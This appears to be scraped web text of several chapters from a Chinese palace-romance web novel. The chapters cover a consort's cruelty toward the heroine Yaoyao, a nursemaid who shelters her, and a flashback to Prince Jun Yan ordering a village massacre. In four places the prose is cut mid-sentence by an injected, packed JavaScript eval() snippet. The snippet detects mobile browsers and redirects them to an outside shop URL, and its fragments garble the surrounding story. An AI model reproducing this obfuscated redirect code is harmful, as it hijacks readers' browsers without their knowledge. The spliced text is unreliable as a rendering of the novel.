这天君琰有事不在府上,她穿着单薄的衣衫出了屋子,一路上都有侍卫跟着怕她趁机溜跑……王妃住的屋子比她那间好多了,又大,又宽敞。 她走到门口,却没被允许进去,张美珠的侍女惊鹊开门走了出来,居高临下地看着她,露出一个笑容:“去把衣服洗了!” 夭夭垂头丧气地去洗衣服。 地上摆满了捅,里头放着许多衣服,有主子的也有奴才的。自王爷的禁足解了之后府里人就多起来了,张美珠还从娘家带来了许多伺候的下人。 她走到一个桶旁边,蹲下,去拿洗衣杵。惊鹊跟着她,一路冷笑。 早春,天气很冷,她小手冰凉,浸在冰凉的水中,一点感觉也没有,只觉得自己的意识仿佛游离在天外,麻木地进行着手上的动作。 一个声音从上头传来:“别说你现在还不是王爷的妾室,即便你以后当了妾室,也依然是我们王府的下人,下人就该干下人该干的事!” 夭夭没有答话,继续洗她的衣服。 “喂!我说的话你没有听到?”惊鹊见她竟敢不理自己,登时怒了,一手伸过去,覆住她的后脑勺,往冰凉的水桶里用力一按! “啊——”她整个头忽被没进凉水里,水花汩汩地钻进了眼睛、鼻腔……惊鹊犹按着不放,“胆子大得很,我是王妃身边的人你竟敢不回我话,我让你知道厉害!” “咳,咳咳……”半晌后惊鹊终于放了手,她从水里出来,弓着身子不住地咳,却没法把呛进去的水一下子吐出来,整张脸都憋得通红。 “怎么了怎么了?”张美珠装模作样地走来了,问惊鹊:“这不是好好在洗衣服吗?怎么弄成这个样子?” “回主子,她不听话,不愿意洗衣服,奴婢不过训斥了她几句,她竟敢藐视主子,奴婢这才替主子出手教训。” 张美珠笑了一下,让惊鹊搬了个凳子,在夭夭面前坐下。 “府里的人就要懂府里的规矩,既然你不懂,那本王妃今天就来教教你。把脸抬起来。” 夭夭仍咳得没喘过气来,张美珠便坐在那儿好整以暇地等,显得极有耐心。 “惊鹊,把炭给她喂进去。”她的语气极是云淡风轻。 “是,主子!”惊鹊大声答道。 炭……炭?!王妃要她把炭吃进去吗?! 她现在身上正冷得发抖…… “主子,炭来了!”惊鹊夹了炭过来,两个侍卫也来了,从后面钳住她的手…… 她拼命挣扎着,终于重重咬了惊鹊的手一口。 “啊!反天了,竟然敢咬我!”惊鹊大叫一声。 张美珠笑了,“既然不愿意吃,那就把炭在手里拿着,本王妃数五下,你能拿稳了不掉,就不必再吃。”说罢向惊鹊示意:“给她吧。” “哼。”惊鹊将炭盆放到她面前,“自己拿啊!还要我伺候你吗?” 她望着那盆通红的炭发呆…… 君琰在哪儿?他知道今天发生的事情吗?他就真的……不喜欢自己到如此地步么? “这么不愿意,竟还说你爱王爷?你可知,本王妃现在要你做的事,都是王爷经历过的。” “咳咳……什么?”她的声音极虚弱,连自己都听不太清。 “你以为王爷是怎么病的?”张美珠的眼睛里透着戏弄的味道,“是他自己先穿着厚棉袄在四盆炭火中间待了几个时辰,紧接着马上将浑身浸到冰水里,这样才害了伤寒。不然你以为府上的炭是怎么突然没的?” 夭夭怔住了。 张美珠继续笑着说:“你为了给他买药买炭,在几个侍卫那里受尽折辱,却不知道这场病原是他自己折腾出来的吧?像王爷这么聪明的人,难道想不到自己病了以后你会怎么做?他当然是早就知道你会因求药受到折辱,可是他不在意,也根本从未顾及过你。” 是……那天炭忽然就全用完了,她当时就觉得奇怪,一直没想通所以然来。原来事实竟是这样吗?可是君琰为什么要刻意让自己生病呢?要知道,他当时的情况真的很危险,如果一直这样拖下去无人问津,是真的会病死的。 “你是不是还想说,他也强行提着内力来救你了,可见并非是完全不在意你的处境?本王妃劝你莫要再自欺欺人,那一天的事实你也都看见了,王爷对你所有的好,都不过是因为——你的血是本王妃的药引。” “……” “你现在一定在觉得奇怪,他为什么要把自己弄病?我来告诉你。” 王妃陌生的声音夹杂着冷风声,在她耳边响起,眼前这对陌生的主仆让她感到害怕…… “因为皇上,未对他疑心尽消;因为他算准了,皇上必会在这三天之内来;因为再拖下去,府中的情况只会更糟,他只能破釜沉舟、孤注一掷,用损伤自己身体这种最极端的方式,在最短时间内重新赢回皇上从前的信任。当然,也只有这样,他才有出路,才能娶到我。” 她的语气里不无甜蜜和骄傲,“而你,从始至终都不过是我的药引子罢了,他从和你初见起便是在忍,忍着对除我之外的一个女人好,现在,他终于可以不装了!” 什么疑心尽消,什么孤注一掷,什么赢回信任……?他和皇上是亲兄弟,亲兄弟之间也会这样么?这就是皇家?夭夭的脑中一片嗡嗡。 张美珠撩了撩头发,“我说的这些你都听不懂吧?到底是小门小户的野丫头,和你说这些真是抬举你啦。你从来不懂他,洛夭夭!懂他的人、与他门当户对的人是我,从始至终都是我一人而已!” “……我知道。”她的声音干涩得吓人,“我也没想再留下来。” “可你之前毕竟还是有段时间跟他在一起了!”张美珠眼中露出凶光,“我每每想到这些,就恨不得扒了你的皮,把你扔去菜市场喂狗!” 洛夭夭难以理解地看着她。 自己分明是受害者不是吗?她并没有主动去害她,她却这么恨自己…… “你到底想怎么样?”她缓了缓问出一句话。 “折磨你。”张美珠吐出一句:“只要不死就成。不折磨你,难消我心头之恨!”接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“李嬷嬷”这个称号她倒是听人说起过,但并不详细知道她是干什么的,只知道她从前在王府待过,是个极不好惹、不好相处的人,宫人们平日里在一块儿闲聊,都说要对这位李嬷嬷敬而远之——别看她平日里一言不发,真要得罪了她,谁都吃不了兜着走。 眼前这位竟就是李嬷嬷么?她的皮肤保养得真好。仔细一看,眼角处有一些小小的细纹,但大体上还是容光焕发的,背脊很薄很直,娉婷姿容也和二八少女一般无二,当真让人看不出来是五十多岁的。 如此看来当是传言有误,如果真是个坏人,又为什么要救她?对了,她难道不怕得罪王妃吗? 眼下王爷外出有事,府里一切都是王妃管着,到底是谁有这个胆子来帮自己呢? “李,李嬷嬷……”她有些别扭地、乖巧地叫了一声。 “你是洛姑娘吧。”对方点出了她的身份,和蔼地笑了笑,看着那被她喝光了的碗底,“姜汤还好喝吗?” “嗯,好喝!”她点了点头。 “王爷小时候也最爱喝我煮的姜茶。”李嬷嬷走到书架前,似是要找一本书,“你一定在好奇我是谁,为什么敢和新王妃对着干。 我是王爷的奶母。” 13. 保护 李嬷嬷说话间终于把那本书翻了出来,递给夭夭看。 夭夭打开那书,里面写着的是一个一个的小短故事,字迹还有些稚嫩…… 李嬷嬷的声音传来:“王爷以前有个爱好是写话本,写了好多呢,就留下这一本。” 夭夭疑道:“为什么只留下一本,那其他的去哪里了呢?” “他烧了,这留下的一本是我给他藏起来的。”李嬷嬷说着,语气平静,“人长大了,想法和以前不同了,看着以前那些东西,只会觉得碍眼和可笑,哪怕那是自己留下的。就像他小时候,也是很喜欢我这个奶母的。” 夭夭听出了她话中的伤感之意,忙安慰道:“嬷嬷您别灰心,王爷他……”说到这里又顿住了……她又凭什么说王爷是什么样的呢?她根本不了解他。 “没事儿姑娘,你不用安慰我。我给你看他以前写的东西,是想让你更知道他……他被禁足的时候你一直陪在他身边,你是个好孩子,只是心思太单纯,容易被欺负。” 李嬷嬷笑着说:“我这里还有许多他小时候留下的东西,你若喜欢便拿给你看。这几天你就住在我这里,王妃就算看在王爷面上,也不敢不给我面子。王爷现在不如小时候和我亲近了,但和我之间毕竟是有情分在的。” “李嬷嬷……”夭夭感动了。在这偌大的王府,这是除了琉璃以外第二个对她表示出善意的人。 她为以前听了其他人的话而误以为李嬷嬷是个不好相与的坏人感到自责。 李嬷嬷一直笑着,眼睛里却染着一层淡淡的忧伤,那种忧伤她看不懂,只是心也莫名地跟着发疼。 “姑娘,你的身子经不起折腾了,在我这里住下调养一阵子吧。不用怕,要是有人来找你麻烦,有我顶着。” “李嬷嬷,谢谢您……”夭夭露出感动的目光,可同时她也不解:“您为什么要这么帮我?不怕得罪了王爷么?我迟早,我……”她垂下了头,眼中闪出了泪星,“我只是王府的一个祭品。” “怎么会呢?”李嬷嬷拿了张干净手绢递给她擦眼泪,“你的命是你自己的,除了你,没有任何人有权力夺走它。” 她缓缓抬了起头…… 李嬷嬷这么说实在让她感动,可是她也担心,担心对方为了自己会惹上一身麻烦。现在王爷王妃都看她不顺眼,她只想安安分分地就罢了,不想牵连到无辜的人。 “别怕,孩子,你不会牵连到我。”李嬷嬷似是看出了她心中所想,“我帮你,也不是为了自己,而是为了王爷。” “为了王爷?” 李嬷嬷转身进内室做饭去了,留下夭夭一个人坐在客厅里。 她为什么说是为了王爷呢? 王爷不是要拿自己给王妃做药引吗? 翌日。 夭夭被李嬷嬷带走的事儿很快就被张美珠知道了。 “这么说,昨儿一整晚洛夭夭都没跪?” “主子!这李嬷嬷也太不讲理了,把人带走也不支会您一声,还在那儿倚老卖老当她是王爷的奶母啊?真是不把主子这个王府的女主人放在眼里。”惊鹊抱怨道,“等王爷回来了,主子可要好好告她的状,让王爷快点把这个腌臜婆撵出去,免得脏了王府的地儿!” “惊鹊。”张美珠虽然心下也觉得气愤,嘴上却道:“话不可这么说,她毕竟是王爷的奶母,在这府上,人人不喜也人人敬怕,是我这个新来的王妃至今都没去拜望过她,想来她是为此心有不满,才特意拿洛夭夭来与我作对。不如我今天就去拜望她,满足她那点虚荣心,难道她还能不给我这个王妃面子?” “奴婢听说王爷早就不喜欢她了!”惊鹊道:“昨儿才从江夏镇回来呢。要奴婢说,您才是府里的正经主子,她不过是王爷的一个下人而已,王爷对她念着几分喝奶水的情谊不好与她难堪,要拜望也该是她来拜望您,这尊卑有别,她这把年纪了还不清楚?” “算了算了,和一个老婆子计较这么多干什么。你没听别人说吗,这个人脾气怪得很不好惹。”张美珠摆了摆手,“我是王妃,大人有大量,不和她这种人一般见识。给了她几分薄面,等王爷回来知道了也会夸我大度不是?我尊重她、给她面子,就是尊重王爷、给王爷面子。要不是因为王爷,她以为她是谁?惊鹊,你把我那两个翡翠镯子拿上。” “主子还要送她礼物?” “既是去拜望,见面礼总得有的,快去拿来!本王妃什么好东西没见过,难道还缺这两个手镯?” 今朝待醒的时光难得的安宁,李嬷嬷的屋里有股瓜果的清香味,窗外恬碎妙闲的鸟鸣声一片,将夭夭从沉梦中唤醒。 坐起身来,揉了揉惺忪的睡眼,看见桌上已摆了早饭,旁边还有一只天青色的净瓶里插着繁花,大多是含苞待放的骨朵,带着清晨的露水。 耳边这时候却忽然传来一阵吵嚷声,她走了两步停下,把目光转向声音传来的方向。 是张美珠来了,就在门口。 她心里陡然一阵慌,知道是找麻烦来了,一时定在那里。 李嬷嬷却没有让她进来。她将这对主仆堵在门口,脸上神色淡然、不卑不亢:“王妃有什么事吗?” 惊鹊见对方竟没有丝毫老奴对待年轻主子应有的态度,当即就要爆发,张美珠却一抬手止住了她即将出口的骂语,热情笑着迎上李嬷嬷的冷脸:“自我进府还没有来看望嬷嬷,这不今天想到就来了?惊鹊。” 惊鹊心不甘情不愿地将装着那两个翡翠手镯的盒子递了上去。 李嬷嬷淡淡看了一眼,却没有接过。“多谢王妃好意,只是老身已经这个年纪早就不戴首饰了,请王妃将东西收回。” 张美珠也没想到她竟然不接。需不需要是一回事,接不接是另一种态度,不接不是摆明着不给她面子么?想着火气也上来了,但又想到对方毕竟是王爷的奶娘,自己还是不得罪微妙,遂又笑道:“您瞧您这话说的,哪有女人上了年纪就不用打扮的道理?就算不为打扮,也能显身份贵重不是?” “老身一个下人有什么贵不贵重的。倒是王妃,进府了自然要摆一摆做主母的款儿,以权谋私整一整看不顺眼的姑娘,不然怎么能显示您大权在手身份贵重呢?” “你……!”张美珠白了脸。“王府自有规矩,你怎么可以这样和我说话!?” 对方这明显是在说洛夭夭。可恶,她都还没和她提这茬,她竟然主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“站在门口听热闹了吧?”李嬷嬷笑道:“丫头不用担心,我就说了没事的。” “可是,如果王爷回来知道了怎么办?” “那也不关你的事。”李嬷嬷拍了拍她的肩,“快去吃饭,粥要凉了。” 那是一碗熬得热热的青菜瘦肉小粥,她坐下一面吃,李嬷嬷就在旁边,眼泪忽然掉进了粥里,她将头埋得更低了,不想被对方看见。 李嬷嬷还是看见了,但并没有说话,只是将一方干净手绢放在了桌上。 “嬷嬷,”她吃了一口粥,“你为什么对我这么好?” 分明是昨天才刚认识的人。 这个问题她昨天好像问过一次。可是,她还是很疑惑…… 李嬷嬷没有回答。 阳光照进屋子里来,一碗粥很快见底了,李嬷嬷将碗筷收拾走后抱来了一把月琴,坐在那儿弹了起来。 琴声咿咿呀呀的,如泣如诉,道是一首《孤山听雨》。 李嬷嬷的眼中透着伤感。“王爷小时候啊,最爱听老身弹这首曲子了……” 夭夭怔坐在那儿,听着耳边仙乐,仿佛透过它看到了什么…… 这首静谧之曲却被李嬷嬷弹得有些月黑风高的意味,仿佛重峦叠嶂中、夜雨霖霖时,有一黑衣者杀人不见血。 整座云青山都被围起来了。 数百男女老头被江湖杀手团团围住,一个个噤若寒蝉…… 14. 九爷 许久,从杀手们之间走出一个人来,他生得剑眉星目,周身气场冰冷得没一点温度,环视了一下在场的人,便冲另一边点了点头。 另一个人微微颔首,“可以去叫公子了。” 显然这两人在这群杀手间威信极高。 “阿耶,为什么他们要杀我们?”一个小女孩的声音忽然从人群中传出。 做父亲的连忙捂住女儿的嘴,让她噤声。 小女孩被捂住的哭声断断续续的,压抑着透过阿耶的指缝传出来…… “公子?不好,来人怕是九公子、九爷!”——人群中有知情的人说了出来,一时间害怕声、惊吓声接连传出,有些小孩已经开始哭了,被他们的父母死死捂住了嘴。 “天呐!我们是造了什么孽,要落在这尊杀神手里?!既是九爷的人,我们焉能有命回去啊……” “我等都是规规矩矩的良民,什么事也没犯,为什么要杀我们?!” “听说是有一个朝廷钦犯跑进了我们云青山!” “有个钦犯跑进山里?那我们配合朝廷搜捕钦犯不就行了,为何要株连无辜?!” “这你就不懂了吧?九爷的行事原则是宁可错杀一千,也不放过一个!不然他为什么被叫做江湖魔头?!” “我们就把他交出来,向九爷求个情行不行?!” “……你良心被狗吃了吗?!余大夫救过我们山中多少人的性命?你竟为了自己就……” “我,我乡下还有个八十的老母亲,我今天被杀了,谁去给她送终啊……” “我家中还有个五岁的孩子呢!” 呜咽的声音一时间此起彼伏,这时从围住他们的杀手中传来一声厉喝:“谁再哭,就第一个下了谁的脑袋!” 人群立马安静了。 青龙堂堂主姚寂、白虎堂堂主傅从、玄武堂堂主无殇、朱雀堂堂主玉冰已接连赶到,守在了四角。不说九公子本人了,光是他手底下着四个人的名号报出来就已经够令人胆寒,谁人不知,在江湖上这四位是说一不二、武功盖世的高手? 云青山,云青山…… 数月不见,恍若隔世。 这是君琰第二次来云青山。 没有想到这一次,竟是为了屠山。 皇兄的话音犹在耳边——“他是个大夫,治病救人原是医者本分,他却对一孩童见死不救!是,他家是有不治皇家人的祖训,可是稚子何辜?他就眼睁睁看着一条生命死去!他真是不配行医!朕命你即刻去将其捉拿,连同他的包庇者也一并处死!他逃到哪个镇,就杀光那个镇上所有的人,朕看他这下还有什么地方可去!” 钦犯余逸,医术高超,皇上半月前请其出山为三岁的小皇子医治顽疾,数请不去,七日后,小皇子病逝,君墨林龙颜震怒,命景王动用江湖势力杀之。这一路追着,就到了云青山。 钦犯躲进山里,君琰命四位堂主将山包围,山上所有村民皆被围住。 一颗铜钱大小的雨点“啪嗒”一声落在了一个中年人的额上,众人仰头看向阴沉下来的天空……下雨了。 在四位堂主的簇拥下,那位传奇般的江湖魔头终于现身了。 君琰今天穿了件深蓝色锦袍,足下蹬一双黑色银边长靴,他身材高大,龙章凤姿,走过那片湿漉漉的地面,衣摆下不沾一点泥。他站在山上,向那些被围在山谷中的人俯视。 “公子,人都在这里了,那位钦犯必定也在其中。”姚寂打开了画像,几位堂主顺着那下头的人脸一张张看去…… “且慢!”下头忽传来一个声音,君琰往下一看,见到了两张熟悉的面孔。 洛氏夫妇被带了上来,洛商丘站在他面前,脑袋也没低一下:“余逸同我洛家是世交,是我把他藏起来了,要找人,我带你去,这一切与山中其他人无关,放了他们!” 君琰眼睛也没抬一下:“你是在和我说话?” “老头子你清醒点,咱们女儿还在他手里呢!”洛宁氏面露焦急,对君琰问:“夭夭在你那里可还好?” “呸!”洛商丘啐了一口,“她既选择和不明不白的人私奔,我洛商丘就当没有她这个女儿!” “你怎么能这么说呢?!夭夭毕竟是我们的孩子……”洛宁氏劝完了丈夫,又对君琰道:“你告诉我!我女儿在你那儿现在怎么样?你有没有善待她?!” “本公子今日是为钦犯之事前来。”君琰的语气冷淡至极,“不认识你说的什么夭夭。” “你……!”洛宁氏没想到他会这么说,登时脸都气白了。 洛商丘:“放了其他人!我跟你走,把余逸交给你。” 姚寂道:“正因为你和余家是世交、关系不一般,他才会往你这里躲,你既是重情义的人,又岂会这么容易把他交出来?不过是想耍我们一趟,用你们两口子的命来换其他所有人的命罢了!这种把戏我们见多了。你想做程婴留下忠义之名,我们公子却不是屠岸贾!” 君琰冷笑,大手一挥——“不必和他废话。冷玉,把人带下去!” “九爷,九爷!”洛宁氏强忍下心头的怒气,语气里满含哀求:“我们曾救过你的命啊!你要这般忘恩负义吗?!云青山上无辜的人又做错了什么?!” “本公子奉的是圣命,不知道你说的什么‘忘恩负义’。” 他轻轻阖了阖眼,那对夫妇的身影在面前渐渐消失了,重新回到了山谷里的人群中……然后他拿出了那道圣旨。 皇上要杀的人,不能不杀。 ……十年来不都一直是如此么? “公子,看到余逸了,他来了。”姚寂在他耳边说。 “我是余逸!我跟你走,放了他们!”余逸这时站了出来,在下面大声喊话,随后他对所有人跪下了:“各位父老乡亲,是我对不起你们,是我连累了你们……” “看来两个都很重情义啊。洛商丘包庇他,他却不想让洛商丘为难。可惜,都逃不过一个死。” 冷雨飘落在他眼前,有那么一瞬他想到了她,随后却是将手一扬,下了命令——“傅从、无殇,赏他们每人一颗断魂珠,姚寂、玉冰,监斩!” “是!” 男女老幼的呜咽声和惨叫声传来,天愈发黑了。这时从树后走出来一个太监,笑吟吟地朝他过来。 “奴才给景王爷请安了。” “免礼。” “王爷能办好圣上的差事,圣上知道了一定会龙心大悦的。” 不用想就知道这位是皇兄特意派来监视他的。 “那就请公公回去后如实陈奏皇兄。” 对方满脸堆笑:“一定,一定。” 雨下大了。冷雨瓢泼,姚寂为他撑起了伞。“差事终于办完了,可以回去了。” “人走了吗?” “走了。”无殇过来道:“公子,时间可以了,必须现在喂下,但断魂珠的解药只有两颗,您的意思是……” 君琰看了他一眼。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561342|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …属下明白!” 这么多年来,他在江湖上杀的人,约莫有六成都是替皇上杀的。 皇上有想杀而没有正经理由杀的人,就会派他这个有江湖势力、臭名昭著的九弟去杀。反正他江湖魔头的名声已经很响了,不介意再响一点儿。而他手底下的江湖人中,也有部分是皇上安插进来的眼线,这些人的名单他心中有数,却装作不知,反手利用他们向皇兄传去想让他知道的消息。 曾几何时他们是最亲的兄弟,走到现在,却也成了互相猜忌和利用的君臣。是人坐上那个位子就会变,还是他从一开始就是这样?君琰无暇去想,十余年来这样替他办事已经成为一种习惯,他就是他手里杀人的刀。 “你知道他为什么独爱这首曲子吗?因为《孤山听雨》中有一种孤独感,非曲中人是不能领会的。一开始我也不甚理解他,直到后来发现他一次次替皇上执行秘密任务,变得像一把无情的武器。” 李嬷嬷的声音里淌着旧时回忆,她弹着曲子,思绪仿佛飘到了很远的地方……“大概就是从踏足江湖起,他便不再怎么和我说话了。他很有能力,短短十几年间,就成为了江湖上叫人闻风丧胆的魔头。可是只有我知道,他曾经也是个满怀天真的孩子。” 夭夭认真地听着,一双明亮的眼睛睁得溜圆。她仿佛从李嬷嬷的话中发现了一个不一样的君琰,那是一个她从未了解过的人…… “所以好孩子,我是想和你说,他做的很多事是身不由己的,虽然他没法说,我也没法知道其中具体的情由……如果他有什么做得不对的地方,你能不能,试着原谅他?” 一曲终了,李嬷嬷放下了月琴,眼眸里似含着水雾,温柔地看向她。 “嬷嬷对王爷真好。”夭夭叹了口气,“即便他不理你了,你也还是对他好。” “他是吃我的奶水长大的。”李嬷嬷说,“我想我还是了解他的。” “我相信嬷嬷。”夭夭的火气慢慢熄了,站了起来,“可以,我试试吧……其实只要不是触碰到我的原则和底线,我想我不会轻易对他生气……我,我脾气还是不错的吧。如果照您的说法,拿我的血做药引的事儿是不是另有隐情?” “你是个好孩子,我昨儿第一次见到你就知道。”李嬷嬷听她这么说,愈发眉开眼笑了,“之前我一直被困在江夏镇,不然王爷被禁足的时候,怎么说也能在这里帮衬你们一二,倒是苦了你了。” 夭夭轻轻地摇了摇头。“您幸好不在。” “为什么这么说?” 她叹了口气,“嬷嬷对王爷感情这么深,想来您也是他依赖的人,若是当时也在王府,受辱的就不只是我一个了,他心里会难过吧。” 李嬷嬷笑,“好孩子,来。” 她听话走到近前。 李嬷嬷拉着她坐下来,又抱出了几个大箱子,亲切道:“来给你看看王爷小时候的东西。” 木鸭子,弹珠,小弓箭……都是些男孩子家的寻常玩意,李嬷嬷每说起一件却都像宝贝一样,还按照小君琰对他们的喜好程度排了序。 “你看这个……还有这个……” 几箱子的东西让她看了快三天。 有李嬷嬷照顾着,她的病也好了一些,琉璃也被嬷嬷私自放了出来,一并过来了陪她一起玩儿。 张美珠正琢磨着等君琰回来要如何告状。 他的“乌夜驹”日行千里,速度极快。三天后的下午,琉璃匆匆赶来:“姑娘,王爷回来了!” 15. 回府 屋门“吱呀”一声开了…… 夭夭逆光看去,门口站着那个熟悉的高大的身影,君琰一回府就先来了这里。 李嬷嬷看上去有些惊喜,笑着迎上去,“王爷回来了,快坐。”说着就去给他倒茶。 “我半路收到王妃的信。”他从怀中拿出信来,脸色阴沉得吓人,扫视她二人一眼,然后看向了李嬷嬷:“听说我不在的时候,王妃被人为难了?” “喂,君琰!”夭夭站起身来,挡在李嬷嬷前面。她虽不知张美珠在信里写了些什么,但想来应该是将自己和嬷嬷的状都告了。嬷嬷是因为帮自己才被牵连进来的,这个锅不能让她背。 “她好歹是你奶母,也是一心为着你的人,你怎么这样对她说话?嬷嬷是因为帮我才和王妃闹别扭的,你有什么不满冲我来。” “你叫我什么?”他朝她走近了来,她被逼着连连后退。 心里好容易才消下去一点的火气、升上来的一点底气,又在他这般冰冷的眼神中消失殆尽了……“王,王爷!”她改了口。 “丫头,别为我说话,别惹王爷生气。”李嬷嬷说,“王妃有意找这丫头的茬,老身看不过去,顶撞了王妃,但凭王爷责罚。” “是王爷回来了!怎么也没人通报一声?”张美珠带着惊鹊来看热闹了,一见到面就黏了上去,抱住君琰的手,娇滴滴道:“夫君你可回来了,想死人家了知不知道?” 君琰拉过她的手,“是啊,回来替你主持正义来了。” 两人之间亲密的样子看得夭夭心里一阵刺痛。 “夫君你还说呢,这个洛夭夭,我不过说了她几句,让她去洗衣服,她百般不情愿,还顶撞我,我便责罚她跪了一会儿,谁知道嬷嬷不来知会我就把她接走了,我送嬷嬷的礼她也不要,不知道嬷嬷是对我哪里不满意,若能告诉我,我也好改正啊。” 他看向夭夭:“是这样吗?” “当然不是!”她说,“她的侍女来要我去洗衣服,我去洗了,她的侍女就直接将我头按在冷水里,后来王妃就来了,还说让我一直跪到天黑,若不是嬷嬷,我只怕” “有错你还狡辩!”他粗暴地打断了她,牵起张美珠的手,“难道阿珠还会诬陷你不成?” 她没想到他都不听她说完话就给她扣了罪,当即眼圈也红了,“你既然这么相信她,直接处置我就好了,何必又要听我的说法?” “好啦夫君,”张美珠露出得意的神情,“何必跟她多费口舌呢?她犯了错,领罚就是了。但李嬷嬷毕竟是你的奶母,夫君还是从轻发落吧,免得有下人嘴不严,把事情说出去了对你的名声不好。” 君琰脸上此刻露出了那种愈发让夭夭觉得陌生的表情,他拍了拍张美珠的手,语气冰冷:“不过是小时候吃了她几口奶水罢了,还真当自己是半个主子了?竟敢如此对待王妃,可见本王是平日里对她太宽纵了。” 此话一出口,在场的人脸上神情各异—— 李嬷嬷淡淡的忧伤的表情。 洛夭夭震惊而陌生的表情。 张美珠春风得意的神色。 琉璃的脸上没有表情。 说话人的眼眸深不见底,像一汪看不清的潭水。 “来人——”君琰看也没看李嬷嬷一眼,只道:“将李嬷嬷逐出府去,日后没有本王的允准,不许她踏进府门一步!” “是,王爷!”侍卫们上前来带李嬷嬷走。 “君……王爷!”夭夭跑到他面前,“你不能这么对嬷嬷,你不能!” “算了,丫头,别白费力气。”耳边传来李嬷嬷的一声叹息,微微张开的瞳仁中是她被人带走的远去的背影,那么落寞那么苍凉,夭夭心里的火又升上来了…… “本王为何不能这么对她?她和你一样,也只是府中的下人。主子怎么处罚下人,难不成还要听你的?” “你和她之间就一点感情也没有了吗?嬷嬷她,她很关心你!”夭夭有些急了,“她不过就是帮了我才惹得你不满,我愿意代她受罚!她都这个年纪了,你把她赶出去她能去哪里?!你,你良心呢?!” “敢和本王谈良心!?这是你该管的事吗?”君琰声音不大,语气里却透着令人震慑的威严。 夭夭不觉瑟缩了一下,下一刻她又大着胆子继续开了口:“不是我该管的,算是我……我求王爷!” 她忽然跪下了,那双委屈又明亮的眼睛盯住了他,“求您!” 那单薄笔挺的身子近在目前,君琰眼中蓦然划过一丝不知名的情绪。前几天那样对她也没见他求过自己,如今却可以为了一个才认识两天的人跪下来求他。洛夭夭啊洛夭夭你还当真是个知恩图报的人。这不是衬得本王愈发薄情寡义了么? 身旁张美珠很快又黏在了他身上,娇声道:“夫君,这小小奴婢也太把自己放在眼里了,这府里说到底是您做主,她竟敢这般理直气壮地替人求情,可见您在她心里一点威权和地位都没有。这小奴婢,前日敢顶撞我,现在又顶撞夫君,当真是叫人不知怎么办的好!” “不知道怎么办,就按着府里的规矩办!”君琰转过了身,“你是王妃,该怎么办你清楚。” “是,王爷!”张美珠得意地笑着朝她走了过来。 君琰这时点了琉璃一并带出去,没有说是为了什么事,也没有再看夭夭一眼。 “你听到了吧,王爷现在把处置权交给我了。你叫啊,叫啊?看看现在还有谁来帮你!”她说着踢了她一脚,眼露凶光:“惊鹊,把她带到暴室去!” 说起来夭夭也有好几天没回自己屋子了……路过的时候她看了一眼那片屋外的杏林。 竟被砍得一棵也不剩了,一整块地方光秃秃的,难看得很。 那是她最喜欢的树,是之前君琰亲自为她种的。 已经到这步田地了么? 看来嬷嬷说的一点也不对,他们之间已经不大可能再有余地了。 她的脑子陷入一片混乱…… 君琰突然性情大变,这样对她,还另娶她人,说她是她的药引,李嬷嬷告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564689|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉她,这些事可能另有隐情,要她试着原谅和相信,可是君琰方才又处置了李嬷嬷…… 对像嬷嬷这样关心他的人,他也是这般无情么?嬷嬷屋里还收着那么多他小时候用过的东西,清清楚楚地记着他的喜好,这样的情谊也不能打动他么? 她不明白,为什么曾经那么喜欢他的君琰可以突然翻脸成这个样子,前后判若两人,这么对她就算了,竟连给他吃过奶水的嬷嬷也不能幸免……既然这么喜欢青梅竹马的张家小姐,当初却又偏要来招惹她,难道为了喜欢的人就可以随便牺牲其他无辜的人?她不懂。 可江湖魔头九公子是懂的吧?因为这样的事儿,他怕是做过不止一次吧? 暴室里什么刑具都有。许是知道她的身子骨受不住太多,不能一下子弄死了,张美珠没有给她上大刑,只是让她躺下来,蒙住眼睛,用一滴水一直滴额头。 她知道这是“水滴刑”,看似轻松,实则日复一日的能叫人生不如死。 张美珠在暴室内点亮了灯烛,荧荧火光映着她的脸,能看出脸上浮粉了。两道修眉和一个略高的鼻底中间,不高不低地嵌着一对丹凤眼,那眼中含着一股炽烈的恨意。 不知道为什么,虽然现在君琰表现得早已厌弃了眼前的女子,自她嫁进来以后他也一直是帮着她,从未对她有过半分冷脸,但她心中直觉总是不安。 而这种不安,就是来自于眼前这个女子——她就像一颗充满了未知的定时炸弹。 这些天来她也听说了一些关于他们从前的事,那段王爷和洛夭夭一起被禁足在王府的日子,在下人们绘声绘色的描绘中越传越离谱,落在她的耳中更甚。 “等一个月后取了你的血,你就可以从这里滚出去了。但只是这样还不够,你从琰哥哥身上得到的,我要通通拿回来!” 夭夭不觉冷笑了一声。 她从他身上到底得到了什么?张美珠要全拿回去。 